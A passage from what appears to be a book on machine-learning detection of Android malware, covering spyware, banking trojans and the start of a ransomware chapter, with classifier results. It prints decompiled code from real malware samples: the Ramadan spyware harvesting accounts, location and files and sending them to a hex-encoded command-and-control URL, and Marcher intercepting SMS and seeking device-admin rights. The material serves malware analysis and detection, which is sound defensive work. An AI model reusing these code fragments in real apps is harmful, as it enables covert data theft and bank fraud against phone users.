accounts created by applications on the targeted phone to identify the
user’s email address. The malware does this by iterating over all registered
accounts and looking for a name that matches a regular expression pattern.

public String b() {

String str = "Device EMAIL_ID Not Configured";

try {

if (a(new String[]{

"android.permission.READ_CONTACTS",

"android.permission.GET_ACCOUNTS"}))

{

for (Account account : AccountManager.get(a).getAccounts()) {

if (Patterns.EMAIL_ADDRESS.matcher(account.name).matches()) {

str = account.name.trim();

}

}

}

return str;

} catch (Exception e) {

aui.a("UtilityHead", "exception :" + e.toString(), a);
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return str;

}

}

Listing 8-2: The Ramadan app determining the phone user’s email address

In addition, the app requests the ACCESS_COARSE_LOCATION and ACCESS_FINE

_LOCATION permissions, which are useful for distinguishing spyware from
other forms of malware. Listing 83 shows it grabbing location information
at the coarse level, including the user’s country and administrative area.

public Void doInBackground(Void... voidArr) {

try {

QiblaActivity.this.s = QiblaActivity.this.m();

QiblaActivity.v = QiblaActivity.this.a(

QiblaActivity.this.n, QiblaActivity.this.o,

QiblaActivity.this.t, QiblaActivity.this.u);

this.a = String.valueOf(QiblaActivity.this.s / 1000);

List<Address> fromLocation = new Geocoder(

QiblaActivity.this, Locale.ENGLISH).getFromLocation(

QiblaActivity.this.n, QiblaActivity.this.o, 1);

if (fromLocation.size() <= 0) {

return null;

}

QiblaActivity qiblaActivity = QiblaActivity.this;

String unused = qiblaActivity.z = "Location: " +

fromLocation.get(0).getCountryName() + ", " +

fromLocation.get(0).getAdminArea();

return null;

} catch (Exception unused2) {

this.b.dismiss();

return null;

}

}

Listing 8-3: The Ramadan app accessing coarse-grained location data

In Listing 84, the app obtains finegrained location information by ac
cessing the getLatitude() and getLongitude() functions.

public class GpsService extends Service implements LocationListener {

public Context a;

public boolean b = false;

public boolean c = false;

public boolean d = false;

public Location e = null;

public double f;

public double g;

public LocationManager h;
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public GpsService(Context context) {

this.a = context;

a();

}

public Location a() {

try {

this.h = (LocationManager) this.a.getSystemService("location");

this.b = this.h.isProviderEnabled("gps");

this.c = this.h.isProviderEnabled("network");

if (!this.b && !this.c) {

return this.e;

}

this.d = true;

if (this.c) {

this.h.requestLocationUpdates("network", 30000, 10.0f, this);

if (this.h != null) {

this.e = this.h.getLastKnownLocation("network");

if (this.e != null) {

this.f = this.e.getLatitude();

this.g = this.e.getLongitude();

}

}

}

if (this.b && this.e == null) {

this.h.requestLocationUpdates("gps", 30000, 10.0f, this);

if (this.h != null) {

this.e = this.h.getLastKnownLocation("gps");

if (this.e != null) {

this.f = this.e.getLatitude();

this.g = this.e.getLongitude();

}

}

}

return this.e;

} catch (Exception e2) {

e2.printStackTrace();

}

}

}

Listing 8-4: The Ramadan app accessing fine-grained location data

It’s unclear whether the location information accessed here is part
of the spyware functionality or the app’s legitimate activities, as the code
sends it to a second URL that isn’t obviously connected to the app’s primary
commandandcontrol server or to the malware developers.
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Listing 85 shows a key piece of functionality used to collect potentially
sensitive files. In particular, we see it searching for files with the extensions
.txt, .apk, .mp3, .3gp, .opus, .ogg, .doc, .pdf, .jpeg, and .jpg.

public static ArrayList<File> a(File file) {

ArrayList<File> arrayList = new ArrayList<>();

File[] listFiles = file.listFiles();

if (listFiles != null && listFiles.length > 0) {

for (File file2 : listFiles) {

if (file2.isDirectory()) {

arrayList.addAll(a(file2));

}

else if (

file2.getName().endsWith(".txt") ||

file2.getName().endsWith(".apk") ||

file2.getName().endsWith(".mp3") ||

file2.getName().endsWith(".3gp") ||

file2.getName().endsWith(".opus") ||

file2.getName().endsWith(".ogg") ||

file2.getName().endsWith(".doc") ||

file2.getName().endsWith(".pdf") ||

file2.getName().endsWith(".jpeg") ||

file2.getName().endsWith(".jpg")) {

arrayList.add(file2);

}

}

}

return arrayList;

}

Listing 8-5: The Ramadan app accessing sensitive files

After collecting the files, the malware uploads them to its command
andcontrol server. In the code, the address of this server is stored in a sim
ple hexencoded format, as shown in Listing 86. Decoding the string reveals
the URL https://www.salatprayertimes.com/salat/pray/.

/* renamed from: a */

public String doInBackground(Void... voidArr) {

try {

StringBuilder sb = new StringBuilder();

auj auj = this.d;

sb.append(auj.c("68747470733a2f2f7777772e73616c61742d707261796572

74696d65732e636f6d2f73616c61742f707261792f"));

auj auj2 = this.d;

sb.append(auj.c("73746174732e706870"));

sb.append("?");

String sb2 = sb.toString();

StringBuilder sb3 = new StringBuilder();
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sb3.append("tc=");

auj auj3 = this.d;

sb3.append(auj.a(this.b));

sb3.append("&tf=");

auj auj4 = this.d;

sb3.append(auj.a(this.c));

String sb4 = sb3.toString();

if (aub.a() != null) {

return aug.a(this.a, sb2, sb4);

}

return null;

} catch (Exception e2) {

aui.a("TermSet", "exception :" + e2.toString(), this.a);

return null;

}

}

/* access modifiers changed from: protected */

/* renamed from: a */

public void onPostExecute(String str) {

if (this.e.a(str)) {

try {

auj auj = this.d;

this.e.b(auj.b(str));

} catch (Exception e2) {

aui.a("TermSet", "exception :" + e2.toString(), this.a);

}

}

}

Listing 8-6: The Ramadan app reaching out to a command-and-control server

Interestingly, Ramadan doesn’t request SMSrelated permissions. This
may be because it’s primarily interested in collecting sensitive files and per
sonal information to determine the device’s owner. This behavior supports
the hypothesis that the malware was distributed to collect intelligence, as the
usual features for generating revenue are conspicuously absent.

Predictions for Spyware Apps
Table 83 shows how well our machine learning classifiers performed when
presented with 10 spyware apps, including Ramadan, that are more recent
than those on which the classifiers were trained. A Yes value indicates that
the classifier correctly predicted the sample to be spyware.
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Table 8-3: Performance of Machine Learning Classifiers on Recent
Spyware Samples

Sample name Distinguished from
goodware

Distinguished from
other malware

Bahamut Yes Yes
Advanced
Speed Booster

No No

Ahorcado Yes Yes
Test003 Yes Yes
SeitaFool No No
Zanmer Yes Yes
DDLight Yes Yes
Dougaleaker Yes No
Cricketland Yes No
Ssucl Yes Yes
Ramadan Yes Yes

Note that some of the names we’ve assigned to these spyware samples
may not be widely known to the security community.

The machine learning algorithms were able to correctly identify eight
of the samples, producing an 80 percent recall rate and a 100 percent preci
sion rate on these predictions. We cannot be sure why the two other spyware
samples (which we’ve called Advanced Speed Booster and SeitaFool) weren’t
correctly classified. One possible reason is that these APKs steal only very
few pieces of sensitive information: the browser history and contacts, respec
tively. These actions do not require the use of permissions such as SEND_SMS,
READ_PHONE_STATE, RECEIVE_SMS, READ_SMS, and WRITE_SMS, which are important
features used by machine learning algorithms to distinguish spyware from
goodware.

Up Next
This chapter showed that machine learning can effectively separate spyware
from goodware and other forms of malware. In the former case, permis
sions once again play a huge role; particularly SMSrelated ones and per
missions such as READ_PHONE_STATE, GET_TASKS, SYSTEM_ALERT_WINDOW, and MOUNT

_UNMOUNT_FILESYSTEMS. To separate spyware from other forms of malware, the
classifiers relied on different features, including the READ_EXTERNAL_STORAGE,
WRITE_EXTERNAL_STORAGE, and ACCESS_FINE_LOCATION permissions.

Our discussion of the Ramadan app points to yet another element of
which Android users should be wary. Criminals aren’t the only ones inter
ested in compromising your phone; a government, too, might covertly har
vest your data. You can find additional information about Android spyware
in “A DataDriven Characterization of Modern Android Spyware” by Fabio
Pierazzi et al.
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9
BANKING TROJANS

Attackers use Android banking trojans
(ABTs) to steal money from unsuspecting

victims by draining their bank accounts or
capturing credit card information, then using

it to make fraudulent purchases. For example, some
ABTs harvest a user’s credentials by placing a fake
window over the user’s banking app. When the user
enters their credentials into the malicious window, it
captures the data, logs into the user’s account, and
transfers funds to the attacker.

Other ABTs monitor for users visiting bank websites. When they try to
access the legitimate website, the malware redirects them to a fake one that
looks identical. Once the hapless user enters their credentials, the attacker
can use these to redirect funds from the victim’s account to theirs. This is
often done via transfers through a large number of intermediate accounts,
to reduce the likelihood of detection.

In this chapter, you’ll learn about some wellknown ABT families and
see which features machine learning algorithms use to separate ABTs from
goodware, as well as from other categories of Android malware.



Banking Trojan Families
This section introduces you to some important ABT families. Note that the
source code for several of these applications has been leaked, causing many
variants to appear. The slight differences between samples make placing in
dividual APKs into families more difficult than for other malware categories.

BankBot, a common malware family with many variants dating back to
at least 2014, was distributed via multiple types of apps, including games
and apps that provided estimates of exchange rates for converting crypto
currencies to hard currencies. Though the apps did provide the advertised
service, they also included BankBot code. This code scanned the infected
device, looking for installed banking apps for which it had overlay screens.
When the victim launched the banking app, BankBot placed a user input
screen over the real app to harvest banking credentials. It also captured
incoming text messages and responded to messages requesting twofactor
authentication.

Cerberus was first discovered in 2019 by ThreatFabric and described in
the blog post “Cerberus  A New Banking Trojan from the Underworld.” It
primarily targeted customers in Italy, Russia, Spain, and other countries in
the European Union. Like BankBot, Cerberus disguised itself as a legitimate
app for currency conversions or similar purposes and used overlay screens
to capture banking credentials and SMS permissions to intercept twofactor
authentication messages sent by the bank. Recently, developers released
Cerberus’s source code on various hacker forums, leading to a proliferation
of variants as different groups sought to monetize it.

The FakeSpy ABT family compromises the phones of its victim by send
ing them text messages about packages that weren’t delivered. Such phish
ing messages are called smishing, as the phishing lures are delivered via SMS.
The victims click a link included in the message, which asks them to down
load an app that looks legitimate but in fact includes the FakeSpy malware.
Once the victim’s device has been compromised, the malware steals per
sonal information such as their contact list and information about their
bank and cryptocurrency accounts. FakeSpy was first described by Trend
Micro in a 2018 blog post, “FakeSpy Targets Japanese and KoreanSpeaking
Users.”
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The Marcher family, also known as Marchcaban, has been around since
at least 2013, when FSecure discovered apps targeting the Spanish bank
Banca March. Some versions operate by telling the victim that their Flash
player needs updating. Clicking the link they provide to perform the update
downloads the trojan app. Marcher also tries to block a number of mobile
malware detection products that may be installed on the user’s device. Like
many of the other ABTs, Marcher uses screen overlays to steal user creden
tials and intercepts incoming twofactor authentication requests over SMS to
gain access to the user’s account. We’ll use Marcher as an example through
out this chapter to illustrate many common ABT behaviors.

Medusa is a recent malware family that compromises victims’ devices by
sending smishing messages encouraging them to install a variety of legitimate
sounding apps containing the malware. Medusa is capable of keylogging and
intercepting messages, as well as audio and video. Like most banking tro
jans, one of its capabilities is reading and responding to twofactor authenti
cation messages from legitimate banking apps. ThreatFabric first described
it in the 2021 blog post “The Rage of Android Banking Trojans.”

Zitmo is an interesting ABT, as it was found on mobile operating sys
tems like Symbian, BlackBerry, and Windows Mobile as early as 2011 be
fore coming to Android. A mobile version of the wellknown Zeus malware
for Windows, Zitmo (short for Zeus in the Mobile) operates in conjunction
with a computer already infected by Zeus. Zeus sends an SMS to the user’s
phone asking them to download an app, infecting the device. Then, when
the attacker tries to steal money from the user’s bank account or make cash
transactions, Zitmo forwards the mobile transaction authentication number
(mTAN) code sent by the bank to the attacker’s phone, which can then use
the code to authenticate transactions.

One additional ABT worth mentioning is Xbot, which was identified in
2015 when it started spreading through apps downloaded from malicious
URLs. Once installed and run, Xbot followed the playbook of other ABTs by
using window overlays and reading twofactor authentication text messages
from banks. In addition, it could encrypt data on the device and make ran
som demands to the user.

You might want to investigate other wellknown ABT families on your
own, including Asacub, FakeToken, and Svpeng, all of which have wreaked
considerable havoc over the years.
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Banking Trojans vs. Goodware
Figure 91 shows the top 20 features for separating ABTs from goodware
using the ExtraTrees classifier discussed in Chapter 7.

Nine of these features are permissionrelated, and nine are advanced
features related to suspicion scores, suspicion ranks, and feature clustering.
Just two involve specific types of API calls.

SMS Permission Features
You should immediately see that the SMSrelated permissions SEND_SMS,
RECEIVE_SMS, WRITE_SMS, and READ_SMS play a huge role in separating ABTs from
goodware. Table 91 shows that virtually every malware family we discussed
earlier in this chapter requests all of these permissions, with two exceptions:
BankBot doesn’t request READ_SMS and Xbot doesn’t request WRITE_SMS.

Table 9-1: SMS-Related Permissions Requested by Major
ABT Families
Malware SEND_SMS WRITE_SMS RECEIVE_SMS READ_SMS

BankBot Yes Yes Yes No
Cerberus Yes Yes Yes Yes
FakeSpy Yes Yes Yes Yes
Marcher Yes Yes Yes Yes
Medusa Yes Yes Yes Yes
Xbot Yes No Yes Yes
Zitmo Yes Yes Yes Yes

The classifier’s output shows that the percentage of ABTs that re
quest these permissions is very high: 70 to 85 percent, compared to less
than 5 percent of goodware. The reason for this is simple: most banking
apps implement twofactor authentication via a code sent to the user’s
phone, so ABTs need to intercept these messages to pass the authentication
before attempting any fraudulent action.
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Figure 9-1: Top 20 features that best distinguish ABTs from goodware

Banking Trojans 239



Other Permission Features
ABTs also request many nonSMS permissions. As an example,
Listing 91 shows the list of permissions requested by the BankBot
malware com.interactive.crutch (v1, 9b14).

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

android:versionCode="1" android:versionName="6.127.465"

android:installLocation="auto" android:compileSdkVersion="28"

android:compileSdkVersionCodename="9" package="com.interactive.crutch"

platformBuildVersionCode="1" platformBuildVersionName="6.127.465">

<uses-sdk android:minSdkVersion="19" android:targetSdkVersion="25"/>

<uses-permission android:name="android.permission.READ_CONTACTS"/>

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

<uses-permission android:name="android.permission.WRITE_SMS"/>

<uses-permission android:name="android.permission.RECEIVE_SMS"/>

<uses-permission android:name="android.permission.SEND_SMS"/>

<uses-permission android:name="android.permission.CALL_PHONE"/>

<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>

<uses-permission android:name="android.permission.WAKE_LOCK"/>

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

<uses-permission android:name="android.permission.VIBRATE"/>

Listing 9-1: All permissions requested by BankBot

You can see that BankBot acquires permissions such as VIBRATE and
DISABLE_KEYGUARD. The app uses VIBRATE to draw the user’s attention to a fake
error message, enticing them to grant the app accessibility permissions. This
step enables advanced malware features that are typically offlimits to regular
applications. The DISABLE_KEYGUARD permission is used to remove the phone’s
lock screen to, for example, force a user interface event that the malware
wants to process.

Over 90 percent of ABTs request READ_PHONE_STATE, a permission also
common in rooting malware, compared to around 30 percent of goodware.
ABTs can use this permission to capture private data about the victim’s phone,
such as its IMEI number. As mentioned in Chapter 7, this type of informa
tion is critical for mobile payment apps that need to verify the identify of the
device sending a payment request. With the exception of Cerberus, all ABT
families discussed earlier in this chapter request this permission.

Another permission popular with rooting malware that is commonly
requested by ABTs is SYSTEM_ALERT_WINDOW: over 60 percent of ABTs request
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this, compared to about 10 percent of goodware. Giving an app this permis
sion lets it display popup alert windows. This functionality has clear value
for an ABT; it enables it to show bogus banking app screens on top of real
banking apps. Of the seven ABTs discussed earlier in this chapter, FakeSpy,
Medusa, Xbot and Zitmo request this permission, while BankBot, Cerberus,
and Marcher do not.

The GET_TASKS permission lets an app identify the running processes
on a device. As you can see from the classifier’s output, ABTs are far more
likely to request this permission than goodware; almost 80 percent of ABTs
request it, versus around 15 percent of goodware. Our experience shows
that many banking trojans request the GET_TASKS permission to watch for the
launching of legitimate banking apps, so they can swoop in and overlay their
phishing windows. Android has severely restricted this feature for precisely
that reason. Of the seven ABT families mentioned earlier in this chapter,
FakeSpy, Marcher, Medusa, and Xbot request this permission.

A permission that ABTs frequently request but rooting malware doesn’t
is the CHANGE_NETWORK_STATE permission, which enables an app to connect to a
WiFi network. Over 40 percent of ABTs request this permission, compared
to less than 5 percent of goodware. Of the ABT families mentioned we in
troduced earlier, Marcher, Medusa, Xbot, and Zitmo request this permission.
Interestingly, we haven’t witnessed other ABTs using this permission to per
form malicious tasks.

The RECEIVE_BOOT_COMPLETED permission is another one that we discussed
in the context of rooting malware. It enables the app to see that the device
has completed its boot process. An ABT may wish to receive this notification
so it can start up as soon as the device is running to continue monitoring
SMS traffic or wait for the user to launch a banking app. All seven of the
ABT families mentioned earlier in this chapter request this permission.

Almost all of the other features useful for separating ABTs from
goodware are related to advanced features, including suspicion rank and
clusteringbased features of the kind introduced in Chapter 6, which capture
the potential maliciousness of an app based on the TSG.

Prediction Efficacy
How effective are classifiers at predicting whether an app is an ABT rather
than goodware or some other form of malware? The results in Table 92
show our ability to make such predictions when comparing apps to good
ware. The rows in this table show the types of features used: basic API,
static, and dynamic features; advanced TSGbased, landmarkbased, feature
clustering–based, and correlational graph–based features; and combinations
of these types.

Banking Trojans 241



Table 9-2: Metrics for Evaluating ABTs vs. Goodware
Feature set Best classifier AUC Precision Recall F1 FPR FNR
API package XGBoost 0.9862 0.9483 0.9161 0.9319 0.0517 0.0293
Static (S) XGBoost 0.9792 0.9780 0.9208 0.9485 0.0220 0.0275
Dynamic (D) MLP 0.9215 0.9242 0.6550 0.7667 0.0758 0.1107
S + D XGBoost 0.9810 0.9819 0.9208 0.9504 0.0181 0.0274
API + S + D XGBoost 0.9975 0.9837 0.9642 0.9738 0.0163 0.0126
TSG XGBoost 0.9872 0.9463 0.9142 0.9300 0.0537 0.0300
LM KNN 0.5864 0.2826 0.9859 0.4393 0.7174 0.0419
FC RF 0.9820 0.9215 0.8633 0.8915 0.0785 0.0473
CG KNN 0.5101 0.2617 1.0000 0.4148 0.7383 0.0000
API + S + D + TSG XGBoost 0.9975 0.9827 0.9661 0.9743 0.0173 0.0119
API + S + D + LM XGBoost 0.9974 0.9837 0.9651 0.9743 0.0163 0.0123
API + S + D + FC XGBoost 0.9975 0.9827 0.9642 0.9734 0.0173 0.0126
API + S + D + CG XGBoost 0.9974 0.9827 0.9642 0.9734 0.0173 0.0126
All features XGBoost 0.9973 0.9809 0.9670 0.9739 0.0191 0.0116
Best late fusion XGBoost 0.9982 0.9905 0.9736 0.9819 0.0095 0.0093

Machine learning algorithms are able to separate ABTs from goodware
at high rates, with the best late fusion result producing an F1 score of 0.9819,
a precision of 0.9905, and a recall of 0.9736. These are great numbers, sug
gesting that most apps classified as ABTs are indeed ABTs, and that the clas
sifiers have discovered most ABTs in the set of apps.

Banking Trojans vs. Other Malware
Figure 92 shows the 20 most important features for distinguishing ABTs
from other forms of malware.

In this case, 14 of the 20 features involve permissions. Thirteen of these
features represent permissions sought by the app and one feature indicates
the number of dangerous permissions sought. The remaining six features
are advanced features.

Permission-Related Features
As in the case of separating ABTs from goodware, SMSrelated permissions
are the most important. We see that the percentage of ABTs requesting the
RECEIVE_SMS permission is more than double that of other forms of malware.
The same is true for WRITE_SMS and READ_SMS, probably due to the fact that
other forms of malware, such as ransomware, may not need to watch for and
respond to twofactor authentication messages sent by banks.
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Figure 9-2: Top 20 features that best distinguish ABTs from other malware
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Table 93 shows four nonSMSrelated permissions requested more fre
quently by ABTs than by other forms of malware and indicates which of the
ABTs discussed earlier in this chapter use them.

Table 9-3: Non-SMS-Related Permissions Requested by Major ABT Families
Permission BankBot Cerberus FakeSpy Marcher Medusa Xbot Zitmo
CALL_PHONE Yes Yes No Yes Yes Yes Yes
WAKE_LOCK Yes No Yes Yes Yes Yes Yes
WRITE_CONTACTS No No No No No No Yes
READ_CALL_LOGS No No No No No No No

One key permission, CALL_PHONE, enables attackers to make calls from the
phone without the user even noticing. They could perhaps use this permis
sion to confirm a bank transaction. With the exception of FakeSpy, all mal
ware families introduced in this chapter request this permission. Xbot uses
it to set up call forwarding on the infected device, likely to redirect incoming
calls from the user’s bank to the scammers. Samples of the Medusa family
use this permission to call random phone numbers as instructed by the mal
ware’s commandandcontrol server.

Another permission that distinguishes ABTs from other malware is
WAKE_LOCK, which ensures that the phone stays on. The use of this permis
sion among ABTs is widespread and often employed to force the device to
stay awake during critical moments while the malware tries to steal data or
money. For example, BankBot keeps the device alive while disabling the
lock screen and forcing user interface interactions. The Marcher family is
less subtle; it forces the device to stay awake at all times. With the exception
of Cerberus, all of the malware families covered in this chapter request this
permission. Although other forms of malware, like spyware and SMS fraud
apps, could leverage it, we don’t see it requested as frequently by other mal
ware categories.

The WRITE_CONTACTS permission, which allows an app to write to the con
tact list, is another one that distinguishes ABTs from other malware. It could
be abused in many ways; for instance, it could write a new phone number for
your bank and then call you from that number, making it seem as though
the hacker’s number is the bank’s. Of the seven malware families we have
discussed, only Zitmo requests this permission. We haven’t seen it abused in
practice.
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A final permission that distinguishes ABTs from other malware is
READ_CALL_LOG. This permission enables an app to see who has called a phone,
the days of the week and times of the day at which those calls were placed,
and more. This privilege could, in principle, enable fraudsters to imper
sonate someone who has called the victim before. For instance, they could
send spoofing texts referencing a real conversation the victim had to trick
the user into giving them money or information. Though none of the mal
ware families discussed earlier in this chapter request this permission, our
classifiers have found it to be associated with ABTs.

Prediction Efficacy
Table 94 shows the ability of machine learning algorithms to separate ABTs
from other malware.

Table 9-4: Metrics for Evaluating ABTs vs. Other Malware
Feature set Best classifier AUC Precision Recall F1 FPR FNR
API package GBDT 0.9099 0.8476 0.8388 0.8432 0.1524 0.1603
Static (S) XGBoost 0.9156 0.8513 0.8401 0.8456 0.1487 0.1592
Dynamic (D) MLP 0.8394 0.8100 0.6378 0.7137 0.1900 0.3008
S + D XGBoost 0.9138 0.8560 0.8391 0.8475 0.1440 0.1591
API + S + D XGBoost 0.9447 0.8794 0.8794 0.8794 0.1206 0.1214
TSG GBDT 0.9117 0.8476 0.8492 0.8484 0.1524 0.1518
LM XGBoost 0.5451 0.5266 0.8878 0.6611 0.4734 0.3650
FC XGBoost 0.8409 0.7588 0.7681 0.7635 0.2412 0.2363
CG SVM 0.5045 0.5028 1.0000 0.6692 0.4972 0.0000
API + S + D + TSG XGBoost 0.9463 0.8807 0.8765 0.8786 0.1193 0.1237
API + S + D + LM XGBoost 0.9444 0.8815 0.8831 0.8823 0.1185 0.1179
API + S + D + FC XGBoost 0.9451 0.8803 0.8803 0.8803 0.1197 0.1205
API + S + D + CG XGBoost 0.9439 0.8789 0.8756 0.8772 0.1211 0.1248
All features XGBoost 0.9476 0.8827 0.8794 0.8810 0.1173 0.1210
Best late fusion XGBoost 0.9796 0.9447 0.9576 0.9507 0.0553 0.0424

The best late fusion result in this case produces an F1 score of 0.9507,
with a precision of 0.9447 and a recall of 0.9576. While these are excellent
numbers, they’re slightly lower than those for separating ABTs from good
ware. This is to be expected: ABTs often have characteristics in common
with other malware categories, making them harder to separate out. For
example, some ABTs, like FakeSpy, steal contact lists, a behavior also ob
served in spyware apps. Others, like Xbot, have both ABT behavior and
ransomware capabilities.
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Marcher: A Case Study
We introduced Marcher earlier in this chapter. By examining the code in
this app, com.fasstr (v1, c219), we can see several of the ABT characteristics
we’ve discussed so far. Listing 92 shows the permissions sought by the app.
Notice that it uses all the ABT permissions we’ve mentioned.

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

android:versionCode="1" android:versionName="1.0" package="com.fasstr"

platformBuildVersionCode="22" platformBuildVersionName="5.1.1-1819727">

<uses-sdk android:minSdkVersion="9" android:targetSdkVersion="18"/>

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

<uses-permission android:name="android.permission.WAKE_LOCK"/>

<uses-permission android:name="android.permission.RECEIVE_SMS"/>

<uses-permission android:name="android.permission.SEND_SMS"/>

<uses-permission android:name="android.permission.READ_SMS"/>

<uses-permission android:name="android.permission.WRITE_SMS"/>

<uses-permission android:name="android.permission.CALL_PHONE"/>

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.READ_CONTACTS"/>

<uses-permission android:name="android.permission.GET_TASKS"/>

<uses-permission android:name="android.permission.WRITE_SETTINGS"/>

<uses-permission android:name="android.permission.VIBRATE"/>

<uses-permission android:name="android.permission.USES_POLICY_FORCE_LOCK"/>

<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>

<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>

<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>

Listing 9-2: All permissions requested by Marcher

Besides the very important SMSrelated permissions used for inter
cepting and responding to twofactor authentication messages, Marcher
has other interesting capabilities. It gains persistence on the device with
the help of the RECEIVE_BOOT_COMPLETED permission, which allows it to restart
after every phone boot. It can dial arbitrary numbers downloaded from its
commandandcontrol server with the CALL_PHONE permission, and it uses the
VIBRATE permission to draw the user’s attention to certain dialogs.

Listing 93 shows Marcher looking for the presence of the Bankwest mo
bile banking app au.com.bankwest.mobile, one of several banking apps that
Marcher searches for in order to overlay screens.

public void a(String str) {

char c2 = 65535;

switch (str.hashCode()) {

case 849595102:

if (str.equals("au.com.bankwest.mobile")) {

c2 = 0;
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break;

}

break;

}

switch (c2) {

case 0:

b("au.com.bankwest.mobile");

a((int) R.drawable.ic_stat_content_mail);

b((int) R.drawable.ic_stat_content_mail);

return;

default:

b(str);

a((int) R.drawable.ic_stat_content_mail);

b((int) R.drawable.ic_stat_content_mail);

return;

}

}

Listing 9-3: A code snippet showing Marcher looking for a banking app

The specific banking apps to look for are passed down from the
commandandcontrol server. The only reason au.com.bankwest.mobile
appears in the source code is that the malware seems to require some
special handling for this app compared to all other banking apps.

Listing 94 shows the Marcher ABT receiving and processing incoming
SMS messages.

public class e extends BroadcastReceiver {

protected static final String a = com.fasstr.e.e.a(MessageReceiver.class);

protected c b;

private void a(Context context, Intent intent) {

if (this.b.b()) {

Object[] objArr = (Object[]) intent.getExtras().get("pdus");

SmsMessage[] smsMessageArr = new SmsMessage[objArr.length];

for (int i = 0; i < objArr.length; i++) {

try {

smsMessageArr[i] = (SmsMessage) SmsMessage.class.getMethod(

"cre_ateF_romP_du".replace("_", ""),

new Class[]{byte[].class}).invoke(

(Object) null,

new Object[]{(byte[]) objArr[i]});

Log.d(a, "MSG GOT:" + smsMessageArr[i].getMessageBody());

} catch (Exception e) {

Log.d(a, "Handler method fail");

e.printStackTrace();

}

}

if (this.b.c()) {
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if (System.currentTimeMillis() - this.b.d() > this.b.e()) {

this.b.b(false);

this.b.a((String) null);

}

}

new f(context).a(context, smsMessageArr).a(this, context, smsMessageArr);

}

}

public void onReceive(Context context, Intent intent) {

a(context, intent);

abortBroadcast();

}

}

Listing 9-4: A code snippet showing Marcher creating an SMS message to send

To access the incoming SMS messages, the malware uses the same
APIs that goodware would. It registers a broadcast receiver that is called by
the operating system every time an SMS arrives on the system. Then, the
malware accesses the SMS text with the help of the SmsMessage.createFromPdu

method. The only difficulty is that the malware code is somewhat obfus
cated. Instead of calling SmsMessage.createFromPdu directly, the malware uses
reflection through SmsMessage.class.getMethod and minimal string obfusca
tion, by writing cre_ateF_romP_du instead of createFromPdu.

In Listing 95, Marcher tries to become the administrator of the
compromised device so that it can alter settings related to device admin
istration at will.

public class AdminActivity extends Activity {

private DevicePolicyManager a;

private ComponentName b;

private void a() {

f.a("AdminActivity: get Device Admin");

try {

this.a = (DevicePolicyManager) getSystemService("device_policy");

this.b = new ComponentName(this, AdminRightsReceiver.class);

if (!this.a.isAdminActive(this.b)) {

Log.d("TAG", "try to become admin");

Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");

intent.putExtra("android.app.extra.DEVICE_ADMIN", this.b);

intent.putExtra("android.app.extra.ADD_EXPLANATION",

"Click on Activate button to secure your application.");

startActivityForResult(intent, 100);

return;

}

Log.d("TAG", "already admin");

} catch (Exception e) {
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e.printStackTrace();

}

}

}

Listing 9-5: A code snippet showing Marcher trying to become the device admin

Again, the malware uses exactly the same APIs that goodware would
use for this purpose. It launches an activity of type ADD_DEVICE_ADMIN, which
opens the system dialog for granting the app the desired permissions. If the
user follows through with the instructions in this dialog, the malware will be
granted device administrator permissions. Its commandandcontrol server
will then have the ability to send it commands, and it will even be able to set
or reset device passwords and lock users out of their own devices.

Up Next
Machine learning methods perform very well at detecting ABTs. In this
chapter, we’ve observed that virtually all ABTs extensively use the SMS
related permissions. Other requested permissions frequently found in
ABTs, such as RECEIVE_BOOT_COMPLETE, should also make an app highly suspect.
In addition to permissions, advanced features based on suspicion scores,
suspicion ranks, and feature clustering are very important in distinguishing
between ABTs and goodware. These findings suggest that advanced features
may be harder for an adversary to reverse engineer.

Our next chapter will focus on ransomware apps. We’ll introduce the
risks this malware category poses to Android users, as well as the techniques
it relies on to manipulate data access and control on Android devices.
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10
RANSOMWARE

Ransomware attacks have targeted hospi
tals, financial firms, academic institutions,

and other organizations, garnering substan
tial media coverage. The WannaCry attack in

2017, for instance, has all the hallmarks of a spy thriller.
Reports state that, among other capabilities, it abused
unpatched vulnerabilities through exploit code called
EternalBlue originally developed by the NSA and
caused up to $8 billion in damages.

If there is any good news in this book, it’s that ransomware attacks like
this one haven’t significantly impacted Android. Ransomware targeting the
Android operating system has always been relatively uncommon and is now
nearly extinct. We believe this is because Android ransomware apps cannot
reliably spread from device to device. In addition, Android’s application iso
lation architecture makes it hard to encrypt files owned by other apps with
out an effective privilege escalation exploit. Another hurdle is that devices
usually back up user files to the cloud automatically, so instead of paying a
ransom, users can simply uninstall the ransomware or factoryreset their de
vices, then restore their cloud backups.



Mobile ransomware is also less profitable than other forms. Most
Android users are individuals, not corporations, so their devices contain
less sensitive data, and they have a lower ability to pay, making them less
attractive targets. In contrast, large corporations may end up paying mil
lions of dollars after a ransomware attack to recover their data, the control
of their systems, and the ability to continue their operations. For example,
Bloomberg reports that the Chicagobased insurance giant CNA paid a ran
som of $40 million in 2021.

We’ll begin this chapter with a brief description of Android ransomware
and a discussion of specific ransomware families. Then, we’ll analyze the
performance of machine learning classifiers at detecting ransomware.

How Ransomware Attacks Work
On Android, there are two broad classes of ransomware: lockers and
crypters. Lockers tend to lock a device at the operating system level. When
the user tries to turn it on, a screen pops up demanding a ransom. To regain
access, the user must follow instructions to pay the ransom, usually in cryp
tocurrency. Lockers typically don’t encrypt files, and because the integrity
of the data hasn’t been compromised, it’s usually possible to recover the de
vice by booting into safe mode, a littleknown feature of all Android phones
that loads a barebones operating system without running the user’s apps.

Crypto ransomware encrypts some or all of the files on a device, at least
to the extent permitted by Android’s app and storage isolation protections.
The victim loses access to the files and can’t recover them until they pay the
ransom. Although they should then receive a decryption key, not all victims
who pay the ransom receive a functioning key. A third ransomware category,
